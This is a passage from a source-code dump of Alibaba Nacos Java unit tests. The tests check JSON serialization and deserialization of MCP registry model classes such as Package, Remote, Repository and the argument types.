void testSerialize() throws JsonProcessingException {\n        McpRegistryServerDetail.Meta meta = new McpRegistryServerDetail.Meta();\n        \n        Map<String, Object> publisherProvided = new HashMap<>();\n        publisherProvided.put(\"key1\", \"value1\");\n        meta.setPublisherMeta(publisherProvided);\n        \n        String json = mapper.writeValueAsString(meta);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"io.modelcontextprotocol.registry/publisher-provided\\\":\"));\n        assertTrue(json.contains(\"\\\"key1\\\":\\\"value1\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"io.modelcontextprotocol.registry/publisher-provided\\\":{\\\"key1\\\":\\\"value1\\\"}}\";\n        \n        McpRegistryServerDetail.Meta meta = mapper.readValue(json, McpRegistryServerDetail.Meta.class);\n        assertNotNull(meta);\n        assertEquals(\"value1\", meta.getPublisherMeta().get(\"key1\"));\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/NacosMcpRegistryServerDetailTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport com.fasterxml.jackson.databind.SerializationFeature;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass NacosMcpRegistryServerDetailTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        // Repository is empty object\n        mapper.disable(SerializationFeature.FAIL_ON_EMPTY_BEANS);\n        McpRegistryServerDetail mcpRegistryServerDetail = new McpRegistryServerDetail();\n        mcpRegistryServerDetail.setName(\"testRegistryServer\");\n        mcpRegistryServerDetail.setDescription(\"test mcp registry server object\");\n        mcpRegistryServerDetail.setRepository(new Repository());\n        mcpRegistryServerDetail.setVersion(\"1.0.0\");\n        mcpRegistryServerDetail.setSchema(\"http://example.com/schema\");\n\n        // Create test packages\n        Package pkg = new Package();\n        pkg.setIdentifier(\"test-package\");\n        pkg.setVersion(\"1.0.0\");\n        mcpRegistryServerDetail.setPackages(Arrays.asList(pkg));\n\n        McpRegistryServerDetail.Meta meta = new McpRegistryServerDetail.Meta();\n        mcpRegistryServerDetail.setMeta(meta);\n        mcpRegistryServerDetail.setRemotes(Collections.singletonList(new Remote()));\n        mcpRegistryServerDetail.getRemotes().get(0).setUrl(\"127.0.0.1:8848/sse\");\n        mcpRegistryServerDetail.getRemotes().get(0).setType(\"https\");\n        String json = mapper.writeValueAsString(mcpRegistryServerDetail);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"name\\\":\\\"testRegistryServer\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test mcp registry server object\\\"\"));\n        assertTrue(json.contains(\"\\\"repository\\\":{}\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"$schema\\\":\\\"http://example.com/schema\\\"\"));\n        assertTrue(json.contains(\"\\\"packages\\\":[{\"));\n        assertTrue(json.contains(\"\\\"identifier\\\":\\\"test-package\\\"\"));\n        assertTrue(json.contains(\"\\\"remotes\\\":[{\"));\n        assertTrue(json.contains(\"\\\"url\\\":\\\"127.0.0.1:8848/sse\\\"\"));\n        assertTrue(json.contains(\"\\\"type\\\":\\\"https\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"name\\\":\\\"testRegistryServer\\\",\\\"description\\\":\\\"test mcp registry server object\\\",\\\"$schema\\\":\\\"http://example.com/schema\\\",\\\"packages\\\":[{\\\"identifier\\\":\\\"test-package\\\",\\\"version\\\":\\\"1.0.0\\\"}],\"\n                + \"\\\"repository\\\":{},\\\"version\\\":\\\"1.0.0\\\",\\\"remotes\\\":[{\\\"type\\\":\\\"https\\\",\"\n                + \"\\\"url\\\":\\\"127.0.0.1:8848/sse\\\"}],\\\"_meta\\\":{\\\"io.modelcontextprotocol.registry/official\\\":\"\n                + \"{\\\"publishedAt\\\":\\\"2022-01-01T00:00:00Z\\\"}}}\";\n        McpRegistryServerDetail mcpRegistryServerDetail = mapper.readValue(json, McpRegistryServerDetail.class);\n        assertNotNull(mcpRegistryServerDetail);\n        assertEquals(\"testRegistryServer\", mcpRegistryServerDetail.getName());\n        assertEquals(\"test mcp registry server object\", mcpRegistryServerDetail.getDescription());\n        assertNotNull(mcpRegistryServerDetail.getRepository());\n        assertEquals(\"1.0.0\", mcpRegistryServerDetail.getVersion());\n        assertEquals(\"http://example.com/schema\", mcpRegistryServerDetail.getSchema());\n        assertNotNull(mcpRegistryServerDetail.getPackages());\n        assertEquals(1, mcpRegistryServerDetail.getPackages().size());\n        assertEquals(\"test-package\", mcpRegistryServerDetail.getPackages().get(0).getIdentifier());\n        assertEquals(\"1.0.0\", mcpRegistryServerDetail.getPackages().get(0).getVersion());\n        assertNotNull(mcpRegistryServerDetail.getRemotes());\n        assertEquals(1, mcpRegistryServerDetail.getRemotes().size());\n        assertEquals(\"https\", mcpRegistryServerDetail.getRemotes().get(0).getType());\n        assertEquals(\"127.0.0.1:8848/sse\", mcpRegistryServerDetail.getRemotes().get(0).getUrl());\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/NamedArgumentTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass NamedArgumentTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        NamedArgument namedArgument = new NamedArgument();\n        namedArgument.setType(\"named\");\n        namedArgument.setName(\"testArg\");\n        namedArgument.setValue(\"testValue\");\n        namedArgument.setDescription(\"test description\");\n        namedArgument.setIsRequired(true);\n        namedArgument.setIsRepeated(false);\n        \n        String json = mapper.writeValueAsString(namedArgument);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"type\\\":\\\"named\\\"\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"testArg\\\"\"));\n        assertTrue(json.contains(\"\\\"value\\\":\\\"testValue\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test description\\\"\"));\n        assertTrue(json.contains(\"\\\"isRequired\\\":true\"));\n        assertTrue(json.contains(\"\\\"isRepeated\\\":false\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"type\\\":\\\"named\\\",\\\"name\\\":\\\"testArg\\\",\\\"value\\\":\\\"testValue\\\",\"\n                + \"\\\"description\\\":\\\"test description\\\",\\\"isRequired\\\":true,\\\"isRepeated\\\":false}\";\n        \n        NamedArgument namedArgument = mapper.readValue(json, NamedArgument.class);\n        assertNotNull(namedArgument);\n        assertEquals(\"named\", namedArgument.getType());\n        assertEquals(\"testArg\", namedArgument.getName());\n        assertEquals(\"testValue\", namedArgument.getValue());\n        assertEquals(\"test description\", namedArgument.getDescription());\n        assertEquals(true, namedArgument.getIsRequired());\n        assertEquals(false, namedArgument.getIsRepeated());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/OfficialMetaTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass OfficialMetaTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        OfficialMeta officialMeta = new OfficialMeta();\n        officialMeta.setPublishedAt(\"2022-01-01T00:00:00Z\");\n        officialMeta.setUpdatedAt(\"2022-01-02T00:00:00Z\");\n        officialMeta.setIsLatest(true);\n        \n        String json = mapper.writeValueAsString(officialMeta);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"publishedAt\\\":\\\"2022-01-01T00:00:00Z\\\"\"));\n        assertTrue(json.contains(\"\\\"updatedAt\\\":\\\"2022-01-02T00:00:00Z\\\"\"));\n        assertTrue(json.contains(\"\\\"isLatest\\\":true\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"serverId\\\":\\\"server1\\\",\\\"versionId\\\":\\\"version1\\\",\"\n                + \"\\\"publishedAt\\\":\\\"2022-01-01T00:00:00Z\\\",\\\"updatedAt\\\":\\\"2022-01-02T00:00:00Z\\\",\"\n                + \"\\\"isLatest\\\":true}\";\n        \n        OfficialMeta officialMeta = mapper.readValue(json, OfficialMeta.class);\n        assertNotNull(officialMeta);\n        assertEquals(\"2022-01-01T00:00:00Z\", officialMeta.getPublishedAt());\n        assertEquals(\"2022-01-02T00:00:00Z\", officialMeta.getUpdatedAt());\n        assertEquals(true, officialMeta.getIsLatest());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/PackageTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass PackageTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        Package pkg = new Package();\n        pkg.setRegistryType(\"maven\");\n        pkg.setRegistryBaseUrl(\"https://repo.maven.apache.org/maven2/\");\n        pkg.setIdentifier(\"com.alibaba.nacos:test-package\");\n        pkg.setVersion(\"1.0.0\");\n        pkg.setFileSha256(\"abc123\");\n        pkg.setRuntimeHint(\"java11\");\n        \n        // Create test arguments\n        NamedArgument namedArgument = new NamedArgument();\n        namedArgument.setName(\"arg1\");\n        namedArgument.setValue(\"value1\");\n        \n        PositionalArgument positionalArgument = new PositionalArgument();\n        positionalArgument.setValueHint(\"posValue\");\n        \n        pkg.setRuntimeArguments(Collections.singletonList(namedArgument));\n        pkg.setPackageArguments(Arrays.asList(namedArgument, positionalArgument));\n        \n        KeyValueInput envVar = new KeyValueInput();\n        envVar.setName(\"ENV_VAR\");\n        envVar.setValue(\"env_value\");\n        pkg.setEnvironmentVariables(Collections.singletonList(envVar));\n        \n        String json = mapper.writeValueAsString(pkg);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"registryType\\\":\\\"maven\\\"\"));\n        assertTrue(json.contains(\"\\\"registryBaseUrl\\\":\\\"https://repo.maven.apache.org/maven2/\\\"\"));\n        assertTrue(json.contains(\"\\\"identifier\\\":\\\"com.alibaba.nacos:test-package\\\"\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"fileSha256\\\":\\\"abc123\\\"\"));\n        assertTrue(json.contains(\"\\\"runtimeHint\\\":\\\"java11\\\"\"));\n        assertTrue(json.contains(\"\\\"runtimeArguments\\\":[\"));\n        assertTrue(json.contains(\"\\\"packageArguments\\\":[\"));\n        assertTrue(json.contains(\"\\\"environmentVariables\\\":[\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\"\n                + \"\\\"registryType\\\":\\\"maven\\\",\"\n                + \"\\\"registryBaseUrl\\\":\\\"https://repo.maven.apache.org/maven2/\\\",\"\n                + \"\\\"identifier\\\":\\\"com.alibaba.nacos:test-package\\\",\"\n                + \"\\\"version\\\":\\\"1.0.0\\\",\"\n                + \"\\\"fileSha256\\\":\\\"abc123\\\",\"\n                + \"\\\"runtimeHint\\\":\\\"java11\\\",\"\n                + \"\\\"runtimeArguments\\\":[{\\\"type\\\":\\\"named\\\",\\\"name\\\":\\\"arg1\\\",\\\"value\\\":\\\"value1\\\"}],\"\n                + \"\\\"packageArguments\\\":[\"\n                + \"  {\\\"type\\\":\\\"named\\\",\\\"name\\\":\\\"arg1\\\",\\\"value\\\":\\\"value1\\\"},\"\n                + \"  {\\\"type\\\":\\\"positional\\\",\\\"valueHint\\\":\\\"posValue\\\"}\"\n                + \"],\"\n                + \"\\\"environmentVariables\\\":[{\\\"name\\\":\\\"ENV_VAR\\\",\\\"value\\\":\\\"env_value\\\"}]\"\n                + \"}\";\n        \n        Package pkg = mapper.readValue(json, Package.class);\n        assertNotNull(pkg);\n        assertEquals(\"maven\", pkg.getRegistryType());\n        assertEquals(\"https://repo.maven.apache.org/maven2/\", pkg.getRegistryBaseUrl());\n        assertEquals(\"com.alibaba.nacos:test-package\", pkg.getIdentifier());\n        assertEquals(\"1.0.0\", pkg.getVersion());\n        assertEquals(\"abc123\", pkg.getFileSha256());\n        assertEquals(\"java11\", pkg.getRuntimeHint());\n        assertEquals(1, pkg.getRuntimeArguments().size());\n        assertEquals(\"named\", ((NamedArgument) pkg.getRuntimeArguments().get(0)).getType());\n        assertEquals(2, pkg.getPackageArguments().size());\n        assertEquals(\"named\", ((NamedArgument) pkg.getPackageArguments().get(0)).getType());\n        assertEquals(\"positional\", ((PositionalArgument) pkg.getPackageArguments().get(1)).getType());\n        assertEquals(1, pkg.getEnvironmentVariables().size());\n        assertEquals(\"ENV_VAR\", pkg.getEnvironmentVariables().get(0).getName());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/PackageTransportTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass PackageTransportTest extends BasicRequestTest {\n    \n    @Test\n    void testPackageWithStdioTransport() throws JsonProcessingException {\n        Package pkg = new Package();\n        pkg.setIdentifier(\"test-package\");\n        pkg.setVersion(\"1.0.0\");\n        \n        StdioTransport transport = new StdioTransport();\n        pkg.setTransport(transport);\n        \n        String json = mapper.writeValueAsString(pkg);\n        assertTrue(json.contains(\"\\\"identifier\\\":\\\"test-package\\\"\"));\n        assertTrue(json.contains(\"\\\"version\\\":\\\"1.0.0\\\"\"));\n        assertTrue(json.contains(\"\\\"transport\\\":{\"));\n        assertTrue(json.contains(\"\\\"type\\\":\\\"stdio\\\"\"));\n    }\n    \n    @Test\n    void testPackageWithStreamableHttpTransport() throws JsonProcessingException {\n        Package pkg = new Package();\n        pkg.setIdentifier(\"test-package\");\n        pkg.setVersion(\"1.0.0\");\n        \n        StreamableHttpTransport transport = new StreamableHttpTransport();\n        transport.setUrl(\"http://localhost:8080/api\");\n        \n        KeyValueInput header = new KeyValueInput();\n        header.setName(\"Authorization\");\n        header.setValue(\"Bearer token\");\n        transport.setHeaders(Arrays.asList(header));\n        \n        pkg.setTransport(transport);\n        \n        String json = mapper.writeValueAsString(pkg);\n        assertTrue(json.contains(\"\\\"type\\\":\\\"streamable-http\\\"\"));\n        assertTrue(json.contains(\"\\\"url\\\":\\\"http://localhost:8080/api\\\"\"));\n    }\n    \n    @Test\n    void testPackageWithSseTransport() throws JsonProcessingException {\n        Package pkg = new Package();\n        pkg.setIdentifier(\"test-package\");\n        pkg.setVersion(\"1.0.0\");\n        \n        SseTransport transport = new SseTransport();\n        transport.setUrl(\"https://example.com/sse\");\n        pkg.setTransport(transport);\n        \n        String json = mapper.writeValueAsString(pkg);\n        assertTrue(json.contains(\"\\\"type\\\":\\\"sse\\\"\"));\n        assertTrue(json.contains(\"\\\"url\\\":\\\"https://example.com/sse\\\"\"));\n    }\n    \n    @Test\n    void testDeserializePackageWithStdioTransport() throws JsonProcessingException {\n        String json = \"{\\\"identifier\\\":\\\"test-package\\\",\\\"version\\\":\\\"1.0.0\\\",\"\n                + \"\\\"transport\\\":{\\\"type\\\":\\\"stdio\\\"}}\";\n        \n        Package pkg = mapper.readValue(json, Package.class);\n        \n        assertEquals(\"test-package\", pkg.getIdentifier());\n        assertEquals(\"1.0.0\", pkg.getVersion());\n        assertNotNull(pkg.getTransport());\n        assertTrue(pkg.getTransport() instanceof StdioTransport);\n    }\n    \n    @Test\n    void testDeserializePackageWithStreamableHttpTransport() throws JsonProcessingException {\n        String json = \"{\\\"identifier\\\":\\\"test-package\\\",\\\"version\\\":\\\"1.0.0\\\",\"\n                + \"\\\"transport\\\":{\\\"type\\\":\\\"streamable-http\\\",\\\"url\\\":\\\"http://localhost:8080/api\\\",\"\n                + \"\\\"headers\\\":[{\\\"name\\\":\\\"Authorization\\\",\\\"value\\\":\\\"Bearer token\\\"}]}}\";\n        \n        Package pkg = mapper.readValue(json, Package.class);\n        \n        assertEquals(\"test-package\", pkg.getIdentifier());\n        assertNotNull(pkg.getTransport());\n        assertTrue(pkg.getTransport() instanceof StreamableHttpTransport);\n    }\n    \n    @Test\n    void testDeserializePackageWithSseTransport() throws JsonProcessingException {\n        String json = \"{\\\"identifier\\\":\\\"test-package\\\",\\\"version\\\":\\\"1.0.0\\\",\"\n                + \"\\\"transport\\\":{\\\"type\\\":\\\"sse\\\",\\\"url\\\":\\\"https://example.com/sse\\\"}}\";\n        \n        Package pkg = mapper.readValue(json, Package.class);\n        \n        assertEquals(\"test-package\", pkg.getIdentifier());\n        assertNotNull(pkg.getTransport());\n        assertTrue(pkg.getTransport() instanceof SseTransport);\n    }\n    \n    @Test\n    void testPackageWithCompleteFields() throws JsonProcessingException {\n        Package pkg = new Package();\n        pkg.setRegistryType(\"npm\");\n        pkg.setRegistryBaseUrl(\"https://registry.npmjs.org\");\n        pkg.setIdentifier(\"test-package\");\n        pkg.setVersion(\"1.0.0\");\n        pkg.setFileSha256(\"abc123def456\");\n        pkg.setRuntimeHint(\"node runtime\");\n        \n        StdioTransport transport = new StdioTransport();\n        pkg.setTransport(transport);\n        \n        String json = mapper.writeValueAsString(pkg);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"registryType\\\":\\\"npm\\\"\"));\n        assertTrue(json.contains(\"\\\"identifier\\\":\\\"test-package\\\"\"));\n        assertTrue(json.contains(\"\\\"transport\\\":{\"));\n    }\n}\n"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/PositionalArgumentTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass PositionalArgumentTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        PositionalArgument positionalArgument = new PositionalArgument();\n        positionalArgument.setType(\"positional\");\n        positionalArgument.setValueHint(\"testHint\");\n        positionalArgument.setValue(\"testValue\");\n        positionalArgument.setDescription(\"test description\");\n        positionalArgument.setIsRequired(true);\n        positionalArgument.setIsRepeated(false);\n        \n        String json = mapper.writeValueAsString(positionalArgument);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"type\\\":\\\"positional\\\"\"));\n        assertTrue(json.contains(\"\\\"valueHint\\\":\\\"testHint\\\"\"));\n        assertTrue(json.contains(\"\\\"value\\\":\\\"testValue\\\"\"));\n        assertTrue(json.contains(\"\\\"description\\\":\\\"test description\\\"\"));\n        assertTrue(json.contains(\"\\\"isRequired\\\":true\"));\n        assertTrue(json.contains(\"\\\"isRepeated\\\":false\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"type\\\":\\\"positional\\\",\\\"valueHint\\\":\\\"testHint\\\",\\\"value\\\":\\\"testValue\\\",\"\n                + \"\\\"description\\\":\\\"test description\\\",\\\"isRequired\\\":true,\\\"isRepeated\\\":false}\";\n        \n        PositionalArgument positionalArgument = mapper.readValue(json, PositionalArgument.class);\n        assertNotNull(positionalArgument);\n        assertEquals(\"positional\", positionalArgument.getType());\n        assertEquals(\"testHint\", positionalArgument.getValueHint());\n        assertEquals(\"testValue\", positionalArgument.getValue());\n        assertEquals(\"test description\", positionalArgument.getDescription());\n        assertEquals(true, positionalArgument.getIsRequired());\n        assertEquals(false, positionalArgument.getIsRepeated());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/RemoteTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Collections;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass RemoteTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        Remote remote = new Remote();\n        remote.setType(\"https\");\n        remote.setUrl(\"https://test.server.com/api\");\n        \n        KeyValueInput header = new KeyValueInput();\n        header.setName(\"Authorization\");\n        header.setValue(\"Bearer token\");\n        remote.setHeaders(Collections.singletonList(header));\n        \n        String json = mapper.writeValueAsString(remote);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"type\\\":\\\"https\\\"\"));\n        assertTrue(json.contains(\"\\\"url\\\":\\\"https://test.server.com/api\\\"\"));\n        assertTrue(json.contains(\"\\\"headers\\\":[\"));\n        assertTrue(json.contains(\"\\\"name\\\":\\\"Authorization\\\"\"));\n        assertTrue(json.contains(\"\\\"value\\\":\\\"Bearer token\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"type\\\":\\\"https\\\",\\\"url\\\":\\\"https://test.server.com/api\\\",\"\n                + \"\\\"headers\\\":[{\\\"name\\\":\\\"Authorization\\\",\\\"value\\\":\\\"Bearer token\\\"}]}\";\n        \n        Remote remote = mapper.readValue(json, Remote.class);\n        assertNotNull(remote);\n        assertEquals(\"https\", remote.getType());\n        assertEquals(\"https://test.server.com/api\", remote.getUrl());\n        assertEquals(1, remote.getHeaders().size());\n        assertEquals(\"Authorization\", remote.getHeaders().get(0).getName());\n        assertEquals(\"Bearer token\", remote.getHeaders().get(0).getValue());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/RepositoryTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.ai.model.mcp.registry;\n\nimport com.alibaba.nacos.api.remote.request.BasicRequestTest;\nimport com.fasterxml.jackson.core.JsonProcessingException;\nimport org.junit.jupiter.api.Test;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\nclass RepositoryTest extends BasicRequestTest {\n    \n    @Test\n    void testSerialize() throws JsonProcessingException {\n        Repository repository = new Repository();\n        repository.setUrl(\"https://github.com/test/repo\");\n        repository.setSource(\"github\");\n        repository.setId(\"test-repo-id\");\n        repository.setSubfolder(\"sub/folder\");\n        \n        String json = mapper.writeValueAsString(repository);\n        assertNotNull(json);\n        assertTrue(json.contains(\"\\\"url\\\":\\\"https://github.com/test/repo\\\"\"));\n        assertTrue(json.contains(\"\\\"source\\\":\\\"github\\\"\"));\n        assertTrue(json.contains(\"\\\"id\\\":\\\"test-repo-id\\\"\"));\n        assertTrue(json.contains(\"\\\"subfolder\\\":\\\"sub/folder\\\"\"));\n    }\n    \n    @Test\n    void testDeserialize() throws JsonProcessingException {\n        String json = \"{\\\"url\\\":\\\"https://github.com/test/repo\\\",\\\"source\\\":\\\"github\\\",\"\n                + \"\\\"id\\\":\\\"test-repo-id\\\",\\\"subfolder\\\":\\\"sub/folder\\\"}\";\n        \n        Repository repository = mapper.readValue(json, Repository.class);\n        assertNotNull(repository);\n        assertEquals(\"https://github.com/test/repo\", repository.getUrl());\n        assertEquals(\"github\", repository.getSource());\n        assertEquals(\"test-repo-id\", repository.getId());\n        assertEquals(\"sub/folder\", repository.getSubfolder());\n    }\n}"
  },
  {
    "path": "api/src/test/java/com/alibaba/nacos/api/ai/model/mcp/registry/ServerResponseTest.java",
